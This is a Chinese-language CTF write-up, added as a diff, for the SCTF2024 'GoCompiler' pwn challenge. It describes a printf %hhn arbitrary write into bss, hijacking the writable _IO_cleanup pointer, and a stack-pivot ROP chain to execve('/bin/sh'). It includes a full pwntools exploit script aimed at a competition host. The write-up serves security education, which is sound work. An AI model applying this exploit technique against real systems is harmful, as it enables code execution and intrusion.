|
| 1 | +--- |
| 2 | +title: sctf2024 - GoCompiler |
| 3 | +date: 2024/10/22 13:49:00 |
| 4 | +updated: 2024/10/27 10:31:00 |
| 5 | +tags: |
| 6 | + - go |
| 7 | + - fmt-string |
| 8 | + - rop |
| 9 | +thumbnail: /assets/sctf2024/bss.png |
| 10 | +excerpt: 利用Go语言编译器中的`printf`漏洞,通过`%hhn`逐字节修改内存,实现ROP链,最终执行`/bin/sh`以获得shell。 |
| 11 | +--- |
| 12 | + |
| 13 | +## 文件属性 |
| 14 | + |
| 15 | +|属性 |值 | |
| 16 | +|------|------| |
| 17 | +|Arch |amd64 | |
| 18 | +|RELRO |No | |
| 19 | +|Canary|off | |
| 20 | +|NX |on | |
| 21 | +|PIE |off | |
| 22 | +|strip |no | |
| 23 | +|go |1.20.3| |
| 24 | + |
| 25 | +## 解题思路 |
| 26 | + |
| 27 | +用go写的go语言编译器,可以将go转换为汇编并用gcc编译,看调试信息写到了 |
| 28 | +**github.com/klang/ugo** ,但实际上无法访问,不过看项目有点类似于已经公开的“凹语言”, |
| 29 | +可是实际测试对go的支持十分有限。 |
| 30 | + |
| 31 | +go的逆向太困难了,一些函数调用根本看不出来做了什么操作,通过看函数名和rr测试, |
| 32 | +发现了`ugo`允许调用C语言的函数,但仅限于`write`和`printf`,并且`printf`的格式化参数有限制, |
| 33 | +必须包含且仅包含一个`%`符号。 |
| 34 | + |
| 35 | +{% notel green fa-screwdriver-wrench 时间无关调试工具:rr %} |
| 36 | +rr是Mozilla开发的一个调试工具,可以实现 **timeless debug** ,也就是说, |
| 37 | +它通过提前录制程序行为,稍后就可以回放程序,实现“逆向调试”。不过你也注意到了, |
| 38 | +你并不是在真正调试程序,你只是在回溯程序的行为。但是借助这个特性,我们可以面对go这种难调的家伙, |
| 39 | +通过定位确定的错误点,一步一步逆向推导,就可以猜测出程序的行为,相较静态检查多了灵活性。 |
| 40 | +这次的很多发现,包括`printf`的行为,都是我通过rr看出来的。 |
| 41 | +{% endnotel %} |
| 42 | + |
| 43 | +由于有了`printf`原语,我们可以通过`%hhn`来一个字节一个字节改内存。并且由于结果程序是无PIE的, |
| 44 | +我们可以直接修改bss区的内容。 |
| 45 | + |
| 46 | +{% note purple fa-circle-arrow-right %} |
| 47 | +不使用`%hn`等是因为由于只能用1个%,用`%hn`写数据需要堆砌大量的无效字符, |
| 48 | +最终会导致程序过大,因此`%hhn`是权衡过后的更佳选择。 |
| 49 | +{% endnote %} |
| 50 | + |
| 51 | +接下来我们就可以利用如下原语,将payload注入到`INSERT`处, |
| 52 | +反复调用`printf('1' * n, addr)`的方式来任意写 |
| 53 | + |
| 54 | +```go malicious.ugo |
| 55 | +package main |
| 56 | + |
| 57 | +func main() int { |
| 58 | + var i int = 0 |
| 59 | + INSERT |
| 60 | + return 0 |
| 61 | +} |
| 62 | +``` |
| 63 | + |
| 64 | +任意写有了,写什么好呢?原本我的想法是打apple,但奈何apple实在是太长了, |
| 65 | +并且程序中也没有`system`,于是我找了找其他的函数指针,结果发现了在`exit`中调用了一处指针, |
| 66 | +原先这个地方是`_IO_cleanup`,但是这个地方是可写的,且没有受`PTR_MANGLE`加密, |
| 67 | +可以直接劫持。看了一下调用时的寄存器状态,此时正`call rbx`,因此rbx刚好是这个指针的地址, |
| 68 | +是我们可以控制的,然后就是找gadget了。 |
| 69 | + |
| 70 | +经过令人近乎绝望的查找,我最终锁定了一个gadget:`mov esp, ebx; mov rbx, qword ptr [rsp]; add rsp, 0x30; ret`, |
| 71 | +由于没有PIE,因此可以做栈迁移到`ebx + 0x30`上!我只要将数据写到`ebx + 0x30`的地址上, |
| 72 | +就可以实现rop,只要构造`syscall(SYS_execve, "/bin/sh", NULL, NULL)`就可以拿到shell。 |
| 73 | + |
| 74 | +{% note purple fa-circle-arrow-right %} |
| 75 | +`ebx + 0x30`的地方并不是可以任意写的,在调`_IO_cleanup`之前,会先运行`__exit_funcs`中的hook, |
| 76 | +调用`call_fini -> __preinit_array_start -> __do_global_dtor_aux -> __deregister_frame_info_bases`, |
| 77 | +在最后一个函数中会判断`object+24`是不是`&__EH_FRAME_BEGIN__`,如果不是则会继续迭代, |
| 78 | +导致发生SIGSEGV,而`object`刚好在`ebx + 0x30`不远处,还需要绕过这个地方。 |
| 79 | + |
| 80 | + |
| 81 | +{% endnote %} |
| 82 | + |
| 83 | +剩下的就是先把payload伪造好,交给容器里的gcc编译,这样由于payload长度固定,生成出来的gadget位置基本也不会变, |
| 84 | +执行就可以获取shell了 |
| 85 | + |
| 86 | +{% note default fa-ban %} |
| 87 | +原先的方案是声明字符串的,由于llvm的特性,声明的字符串会在程序中保留一份,因此"/bin/sh"可以借此获取, |
| 88 | +不过大概是由于程序中有太多字符串了,因此每次调整payload,即使长度没有变化,字符串的地址也会变化。 |
| 89 | +最后选择了把"/bin/sh"直接写到了bss上固定位置。 |
| 90 | +{% endnote %} |
| 91 | + |
| 92 | +## EXPLOIT |
| 93 | + |
| 94 | +```python |
| 95 | +from pwn import * |
| 96 | +import os |
| 97 | +context.terminal = ['tmux','splitw','-h'] |
| 98 | +EXE = './hello' |
| 99 | + |
| 100 | +def mkstr(val: int) -> str: |
| 101 | + return '1' * val |
| 102 | + |
| 103 | +def w1byte(addr: int, val: int) -> str: |
| 104 | + return f' i = {addr:#x}\n printf("{mkstr(val)}%hhn", i)\n' |
| 105 | + |
| 106 | +def wnbytes(n: int, addr: int, val: int) -> str: |
| 107 | + base = '' |
| 108 | + for i in range(n): |
| 109 | + base += w1byte(addr + i, (val >> (i * 8)) & 0xff) |
| 110 | + return base |
| 111 | + |
| 112 | +def create_ugo(): |
| 113 | + with open('hello.ugo', 'r') as goin: |
| 114 | + base = goin.read() |
| 115 | + ugo = '' |
| 116 | + ugo += wnbytes(4, 0x4c8288, 0x484a8e) # mov esp, ebx |
| 117 | + ugo += wnbytes(7, 0x4c8298, u64(b'/bin/sh\0')) # /bin/sh |
| 118 | + ugo += wnbytes(4, 0x4c82b8, 0x4020df) # pop rdi |
| 119 | + ugo += wnbytes(8, 0x4c82c0, 0x4c8298) # "/bin/sh" |
| 120 | + ugo += wnbytes(4, 0x4c82c8, 0x485acb) # pop rdx => 0; pop rbx <- check; |
| 121 | + ugo += wnbytes(4, 0x4c82e0, 0x44fd47) # pop rax |
| 122 | + ugo += wnbytes(1, 0x4c82e8, 59) # 59 |
| 123 | + ugo += wnbytes(4, 0x4c82f0, 0x401e94) # syscall |
| 124 | + with open('malicious.ugo', 'w') as goout: |
| 125 | + goout.write(base.replace('INSERT', ugo)) |
| 126 | + |
| 127 | +def payload(lo:int): |
| 128 | + global sh |
| 129 | + if lo: |
| 130 | + sh = process(EXE) |
| 131 | + else: |
| 132 | + sh = remote('1.95.58.58', 2102) |
| 133 | + |
| 134 | + creating = True |
| 135 | + if os.path.exists('malicious.ugo'): |
| 136 | + ch = input('malicious.ugo exists. Regenerate? [y/n]') |
| 137 | + if ch == 'n' or ch == '': |
| 138 | + creating = False |
| 139 | + if creating: |
| 140 | + info('Generate malicious.ugo.') |
| 141 | + create_ugo() |
| 142 | + |
| 143 | + if not lo: |
| 144 | + with open('malicious.ugo', 'r') as mal: |
| 145 | + src = mal.read() |
| 146 | + sh.sendline(src.encode() + b'end') |
| 147 | + |
| 148 | + sh.clean() |
| 149 | + sh.interactive() |
| 150 | + sh.close() |
| 151 | +``` |
| 152 | + |
| 153 | +{% note default fa-flag %} |
| 154 | + |
| 155 | +{% endnote %} |
| 156 | + |
| 157 | +## 尾声 |
| 158 | + |
| 159 | +比赛结束后,看别人的wp,都没有用到`printf`,都是通过`write`溢出打印指针,然后走栈溢出rop |
| 160 | +(给了栈溢出示例,但是我没有编译运行) |
| 161 | + |
| 162 | +除此之外,本次exp用到的改的`&_IO_cleanup`,即`__elf_set___libc_atexit_element__IO_cleanup__`, |
| 163 | +是可写的,却从未看到有人这么利用过,拿做过的题看了一下,从libc 2.23到2.35,虽然有这个符号, |
| 164 | +但它位于只读段,没有利用价值...甚至在2.38之后这个符号直接被删掉了, |
| 165 | +`exit`固定会调用`_IO_cleanup`。只能说运气好,静态编译把这个符号变成可写的了。 |
| 166 | + |
| 167 | +还有一个比较神奇的特性是当程序静态链接后,tls会使用`malloc`分配出来,因为没有libc可挂 |
| 168 | + |
| 169 | +<img src="/assets/sctf2024/tls.png" height="90%" width="90%"> |
| 170 | + |
| 171 | +之后有一天我上网看看别人博客有没有更新,结果看到了[原作者的博客](https://ywhkkx.github.io/2024/04/12/ugo-lab1-%E6%9C%80%E5%B0%8FuGo%E7%A8%8B%E5%BA%8F/) |
| 172 | + |
| 173 | +{% note blue fa-info %} |
| 174 | +Ghidra的go插件能够恢复部分编译时的信息,包括源代码位置,因此可以清楚看到作者是 |
| 175 | +**yhellow**,还可以看到他的仓库里有Syclover的内容,肯定没错了。 |
| 176 | + |
| 177 | +<img src="/assets/sctf2024/author.png" height="10%" width="10%"> |
| 178 | +<img src="/assets/sctf2024/decompile.png" height="50%" width="50%"> |
| 179 | +<img src="/assets/sctf2024/proof.png" height="60%" width="60%"> |
| 180 | +{% endnote %} |
| 181 | + |
| 182 | +看来pwn也可做信息收集啊。~~不过里面写的demo和题目的匹配度不是特别高~~ |
| 183 | + |
| 184 | +## 参考 |
| 185 | + |
| 186 | +1. [rr: Record and Replay Framework](https://github.com/rr-debugger/rr) |
| 187 | +2. [ugo-lab1-最小uGo程序](https://ywhkkx.github.io/2024/04/12/ugo-lab1-%E6%9C%80%E5%B0%8FuGo%E7%A8%8B%E5%BA%8F/) |
0 commit comments